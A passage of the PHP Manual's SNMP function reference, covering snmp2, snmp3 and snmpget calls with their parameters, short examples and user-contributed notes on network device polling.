snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
?>

The above example will output something similar to:

'Timeticks: (0) 0:00:00.00'
'0:00:00.00'

See Also

  • snmp_get_quick_print() - Fetches the current value of the UCD library's quick_print setting

User Contributed Notes

There are no user contributed notes for this page.
snmp_set_oid_output_format
snmp_set_valueretrieval
SNMP Functions


Specify the method how the SNMP values will be returned

snmp_set_quick_print
snmp2_get
SNMP Functions
PHP Manual

snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_set_valueretrieval — Specify the method how the SNMP values will be returned

Description

bool snmp_set_valueretrieval ( int $method = SNMP_VALUE_LIBRARY )

Parameters

method
types
SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type hint.
SNMP_VALUE_OBJECT | The return values will be objects with the properties "value" and "type", where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way "value" is returned is based on which one of constants SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set.

Examples

Example #1 Using snmp_set_valueretrieval()

<?php
 snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "STRING: lo"

 snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "lo";

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 // PHP 5.4+ examples
 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => STRING: lo
 // )

?>

Changelog

Version | Description
5.4.0 | Constants SNMP_VALUE_PLAIN or SNMP_VALUE_LIBRARY may be combined with SNMP_VALUE_OBJECT resulting different way of representing contents of value array element in return value of GET-function. If no SNMP_VALUE_{PLAIN,LIBRARY} constant is accompanying SNMP_VALUE_OBJECT, SNMP_VALUE_LIBRARY is used. Prior to 5.4.0 SNMP_VALUE_OBJECT effecively meant SNMP_VALUE_OBJECT|SNMP_VALUE_PLAIN.

See Also

  • snmp_get_valueretrieval() - Return the method how the SNMP values will be returned
  • Predefined Constants

User Contributed Notes

doug dot manley at gmail dot com 20-Jan-2009 01:04
The default value (if this function is not called) is "SNMP_VALUE_LIBRARY", which seems to be SNMP's built-in way of printing things.

From "snmp.c":
<code>
static PHP_GINIT_FUNCTION(snmp)
{
    snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
</code>

A mild description of these is:
SNMP_VALUE_LIBRARY: This is a string similar to:
"INTEGER: 42"

SNMP_VALUE_PLAIN: This is a string similar to:
"42"

SNMP_VALUE_OBJECT: This is a PHP object like:
object(
"type" => SNMP_INTEGER,
"value" => 42,
)
Here, "type" is one of the SNMP_* types that are listed under the "Predefined Constants" page.  In addition, types 128, 129, and 130 are error conditions.
Mikhail D 01-Aug-2007 05:26
Sample is swow Interface status.
(.iso.org.dod.internet.mgmt.mib-2.
interfaces.ifTable.ifEntry.ifAdminStatus)
Possible values for this request from MIB:
Enum(integer): up (1), down (2), testing (3)

<?php
//snmp_set_quick_print(0);  // is default
$strIP = "10.1.1.1"; $strComm = "public";
$strOID =  ".1.3.6.1.2.1.2.2.1.7.1";
echo "\n Default valueretrieval with snmp_set_quick_print(0)";
echo " snmp_get_valueretrieval = SNMP_VALUE_LIBRARY";
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);

snmp_set_quick_print(1);
echo "\n Default valueretrieval snmp_set_quick_print(0) " ;
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
?>

Results:
 Default valueretrieval with snmp_set_quick_print(0)
     snmp_get_valueretrieval = SNMP_VALUE_LIBRARY,
 retrieved value up(1)
 SNMP_VALUE_LIBRARY 0, retrieved value up(1)
 SNMP_VALUE_PLAIN 1, retrieved value 1
 Default valueretrieval snmp_set_quick_print(0)
 SNMP_VALUE_LIBRARY 0, retrieved value up
 SNMP_VALUE_PLAIN 1, retrieved value 1
david at eder dot us 24-Jun-2004 12:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

If you are harvesting data you probably want SNMP_VALUE_PLAIN.
snmp_set_quick_print
snmp2_get
SNMP Functions


Fetch an SNMP object

snmp_set_valueretrieval
snmp2_getnext
SNMP Functions
PHP Manual

snmp2_get

(PHP 5 >= 5.2.0)

snmp2_get — Fetch an SNMP object

Description

string snmp2_get ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_get() function is used to read the value of an SNMP object specified by the object_id.

Parameters

host

The SNMP agent.

community

The read community.

object_id

The SNMP object.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmp2_get()

<?php
$syscontact = snmp2_get("127.0.0.1", "public", "system.SysContact.0");
?>

See Also

  • snmp2_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.
snmp_set_valueretrieval
snmp2_getnext
SNMP Functions


Fetch the SNMP object which follows the given object id

snmp2_get
snmp2_real_walk
SNMP Functions
PHP Manual

snmp2_getnext

(PHP >= 5.2.0)

snmp2_getnext — Fetch the SNMP object which follows the given object id

Description

string snmp2_getnext ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_get_next() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp2_get_next()

<?php
$nameOfSecondInterface = snmp2_get_netxt('localhost', 'public', 'IF-MIB::ifName.1';
?>

See Also

  • snmp2_get() - Fetch an SNMP object
  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.
snmp2_get
snmp2_real_walk
SNMP Functions


Return all objects including their respective object ID within the specified one

snmp2_getnext
snmp2_set
SNMP Functions
PHP Manual

snmp2_real_walk

(PHP >= 5.2.0)

snmp2_real_walk — Return all objects including their respective object ID within the specified one

Description

array snmp2_real_walk ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp2_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp2_real_walk()

<?php
 print_r(snmp2_real_walk("localhost", "public", "IF-MIB::ifName"));
?>

The above will output something like:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

See Also

  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

mike dot mackintosh at angrystatic dot com 16-Sep-2011 11:24
Remember that the timeout includes trip time for transport, so setting it too low and sending it across the country will time out and return a 'No response from x.x.x.x'
snmp2_getnext
snmp2_set
SNMP Functions


Set the value of an SNMP object

snmp2_real_walk
snmp2_walk
SNMP Functions
PHP Manual

snmp2_set

(PHP >= 5.2.0)

snmp2_set — Set the value of an SNMP object

Description

bool snmp2_set ( string $host , string $community , string $object_id , string $type , string $value [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp2_set() is used to set the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The write community.

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmp2_set()

<?php
  snmp2_set("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 Using snmp2_set() for setting BITS SNMP object id

<?php
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • snmp2_get() - Fetch an SNMP object

User Contributed Notes

jhuebel at gmail dot com 15-Dec-2010 09:31
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double
snmp2_real_walk
snmp2_walk
SNMP Functions


Fetch all the SNMP objects from an agent

snmp2_set
snmp3_get
SNMP Functions
PHP Manual

snmp2_walk

(PHP >= 5.2.0)

snmp2_walk — Fetch all the SNMP objects from an agent

Description

array snmp2_walk ( string $host , string $community , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp2_walk() function is used to read all the values from an SNMP agent specified by the hostname.

Parameters

host

The SNMP agent (server).

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snm2_pwalk() Example

<?php
$a = snmp2_walk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmp2_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

There are no user contributed notes for this page.
snmp2_set
snmp3_get
SNMP Functions


Fetch an SNMP object

snmp2_walk
snmp3_getnext
SNMP Functions
PHP Manual

snmp3_get

(PHP 4, PHP 5)

snmp3_get — Fetch an SNMP object

Description

string snmp3_get ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_get() function is used to read the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmp3_get()

<?php
$nameOfSecondInterface = snmp3_get('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.2');
?>

See Also

  • snmp3_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.
snmp2_walk
snmp3_getnext
SNMP Functions


Fetch the SNMP object which follows the given object id

snmp3_get
snmp3_real_walk
SNMP Functions
PHP Manual

snmp3_getnext

(PHP 5)

snmp3_getnext — Fetch the SNMP object which follows the given object id

Description

string snmp3_getnext ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_getnext() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp3_getnext()

<?php
$nameOfSecondInterface = snmp3_getnext('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.1');
?>

See Also

  • snmp3_get() - Fetch an SNMP object
  • snmp3_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.
snmp3_get
snmp3_real_walk
SNMP Functions


Return all objects including their respective object ID within the specified one

snmp3_getnext
snmp3_set
SNMP Functions
PHP Manual

snmp3_real_walk

(PHP 4, PHP 5)

snmp3_real_walk — Return all objects including their respective object ID within the specified one

Description

array snmp3_real_walk ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

The snmp3_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmp3_real_walk()

<?php
 var_export(snmp3_real_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName'));
?>

The above will output something like:

array (
  'IF-MIB::ifName.1' => 'STRING: lo',
  'IF-MIB::ifName.2' => 'STRING: eth0',
  'IF-MIB::ifName.3' => 'STRING: eth2',
  'IF-MIB::ifName.4' => 'STRING: sit0',
  'IF-MIB::ifName.5' => 'STRING: sixxs',
)

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.
snmp3_getnext
snmp3_set
SNMP Functions


Set the value of an SNMP object

snmp3_real_walk
snmp3_walk
SNMP Functions
PHP Manual

snmp3_set

(PHP 4, PHP 5)

snmp3_set — Set the value of an SNMP object

Description

bool snmp3_set ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id , string $type , string $value [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmp3_set() is used to set the value of an SNMP object specified by the object_id.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmp3_set()

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifAlias.3', 's', "foo");
?>

Example #2 Using snmp3_set() for setting BITS SNMP object id

<?php
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmp3_set('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'FOO-MIB::bar.42', 'x', 'F0');
?>

User Contributed Notes

There are no user contributed notes for this page.
snmp3_real_walk
snmp3_walk
SNMP Functions


Fetch all the SNMP objects from an agent

snmp3_set
snmpget
SNMP Functions
PHP Manual

snmp3_walk

(PHP 4, PHP 5)

snmp3_walk — Fetch all the SNMP objects from an agent

Description

array snmp3_walk ( string $host , string $sec_name , string $sec_level , string $auth_protocol , string $auth_passphrase , string $priv_protocol , string $priv_passphrase , string $object_id [, string $timeout = 1000000 [, string $retries = 5 ]] )

snmp3_walk() function is used to read all the values from an SNMP agent specified by the hostname.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

Parameters

host

The hostname of the SNMP agent (server).

sec_name

the security name, usually some kind of username

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snmp3_walk() Example

<?php
$ret = snmp3_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName');
var_export($ret);
?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost:

array (
  0 => 'STRING: lo',
  1 => 'STRING: eth0',
  2 => 'STRING: eth2',
  3 => 'STRING: sit0',
  4 => 'STRING: sixxs',
)

See Also

  • snmp3_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

There are no user contributed notes for this page.
snmp3_set
snmpget
SNMP Functions


Fetch an SNMP object

snmp3_walk
snmpgetnext
SNMP Functions
PHP Manual

snmpget

(PHP 4, PHP 5)

snmpget — Fetch an SNMP object

Description

string snmpget ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmpget() function is used to read the value of an SNMP object specified by the object_id.

Parameters

hostname

The SNMP agent.

community

The read community.

object_id

The SNMP object.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error.

Examples

Example #1 Using snmpget()

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

See Also

  • snmpset() - Set the value of an SNMP object

User Contributed Notes

maxie_ro at do dot not dot spam dot yahoo dot com 25-Jun-2009 06:23
This function can be used to identify devices on a network, by getting their sysObjectID and sysDescr. On short, this is what I did:
<?php
   $sysid = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.2.0', 300);
   if($sysid) {
      $sysdescr = @snmpget($ip, 'public', '.1.3.6.1.2.1.1.1.0', 300);
   }
?>

What I get for equipments, for example:
<?php
   $sysid = 'OID: .iso.3.6.1.4.1.5003.8.1.1.57';// => AudioCodes MP114;
   //.iso.3.6.1.4.1. is a "prefix" for the OID domain
   //5003 is the IANA number for AudioCodes
   //8.1.1.57 identifies the equipment type (MP-114)
   $sysdescr = '"Product: MP-114 FXS;SW Version: 5.00A.024"';
?>
Unfortunately, not all of them report correct objectID, for example they report only the vendor and stop there etc.

In case you are wondering why I used the code '.1.3.6.1.2.1.1.2.0' in the function call instead of "sysObjectID.0", it's because only numeric codes seem to work on Windows. For more codes, google "cisco SNMP Object Navigator".
Have fun.
phil dot a dot miller at gmail dot com 25-Nov-2008 01:23
I had better success getting snmp to work with my website using snmpgetnext and adding a '.' before the OID. For example:

$model_conn = snmpgetnext('0.0.0.0', 'public', '.1.3.6.1.4.1.367.3.2.1.1.1.1', 1000000000);
$model = str_replace(array("STRING:", "\""),"",$model_conn);
d dot shereck at gmail dot com 19-Nov-2008 03:24
For those wishing to use v2 or 3

you can consult the php_snmp.h header
here is the list of functions

PHP_FUNCTION(snmpget);
PHP_FUNCTION(snmpgetnext);
PHP_FUNCTION(snmpwalk);
PHP_FUNCTION(snmprealwalk);
PHP_FUNCTION(snmp_get_quick_print);
PHP_FUNCTION(snmp_set_quick_print);
PHP_FUNCTION(snmp_set_enum_print);
PHP_FUNCTION(snmp_set_oid_output_format);
PHP_FUNCTION(snmpset);

PHP_FUNCTION(snmp2_get);
PHP_FUNCTION(snmp2_getnext);
PHP_FUNCTION(snmp2_walk);
PHP_FUNCTION(snmp2_real_walk);
PHP_FUNCTION(snmp2_set);

PHP_FUNCTION(snmp3_get);
PHP_FUNCTION(snmp3_getnext);
PHP_FUNCTION(snmp3_walk);
PHP_FUNCTION(snmp3_real_walk);
PHP_FUNCTION(snmp3_set);

PHP_FUNCTION(snmp_set_valueretrieval);
PHP_FUNCTION(snmp_get_valueretrieval);
ac221 at sussex dot ac dot uk 24-Nov-2007 01:49
Some SNMP agents return mac addresses as hex encoded ascii.

e.g. '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65'

Each octet represents 4 bits of the mac address.
Some vendors may also encode the separators into the string.

Heres a function to convert these strings back into plain hex.

<?php
$hexStr = '30:30:3a:31:37:3a:66:32:3a:39:62:3a:34:36:3a:30:65';

echo(str_replace(':','',hexStr2Ascii($hexStr)));

function hexStr2Ascii($hexStr,$separator = ':'){
    $hexStrArr = explode($separator,$hexStr);
    $asciiOut = null;
    foreach($hexStrArr as $octet){
        $asciiOut .= chr(hexdec($octet));
    }
    return $asciiOut;
}
?>

Outputs: '0017f29b460e'
brunoseys at telenet dot be 02-Oct-2007 04:22
According the SNMPv2-MIB DEFINITIONS the right syntax should be "system.sysContact.0" and NOT "system.SysContact.0" as used in the above example 2251.

SNMPv2-MIB DEFINITIONS
...
sysContact OBJECT-TYPE
SYNTAX DisplayString (SIZE (0..255))
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"The textual identification of the contact person for this
managed node, together with information on how to contact
this person. If no contact information is known, the
value
is the zero-length string."
::= { system 4 }
Malaka Udawatta (malaka13 at gmail dot com) 19-Sep-2007 05:17
When I try to get a 64 bit counter variable (e.g. ifHCInOctets) using snmpget function, following error message was appeared.

Error in packet: (noSuchName) There is no such variable name in this MIB

The solution for this is to use snmp2_get(); function. The prameters are same as snmpget();
Eduardo 12-Apr-2007 12:30
The online documentation says that the function returns "FALSE" on error but, actually, it returns NULL on error.
tridman 21-Nov-2006 02:48
The timeout is in micro seconds. Thus 1.000.000 means 1 Second.
michael dot mauch at gmx dot de 10-Nov-2006 09:07
I have no idea what the timeout value is, but 1 second is really really 1 000 000 000 nano seconds (cf. http://en.wikipedia.org/wiki/SI_prefix).
fbleau 11-Jul-2006 11:15
The default value of Timeout is 1000000  nanoseconde (1 sec) and the retrie is 5 thsi value is set by Net-SNMP library.

#!/usr/local/bin/php
<?php
 $time_start = microtime(true);
 $reponse = snmpget('10.5.1.1', 'public', "1.3.6.1.2.1.1.3.0",1000000,5);
 $time_end = microtime(true);
 $time = $time_end - $time_start;

 echo "Delay in $time secondes\n";
?>
Jim 14-May-2006 07:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
dstjohn-NO-SPAM at mediacast1 dot com 11-Sep-2005 02:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
Johann Glaser 22-Feb-2004 12:39
It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com 22-Sep-2003 07:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

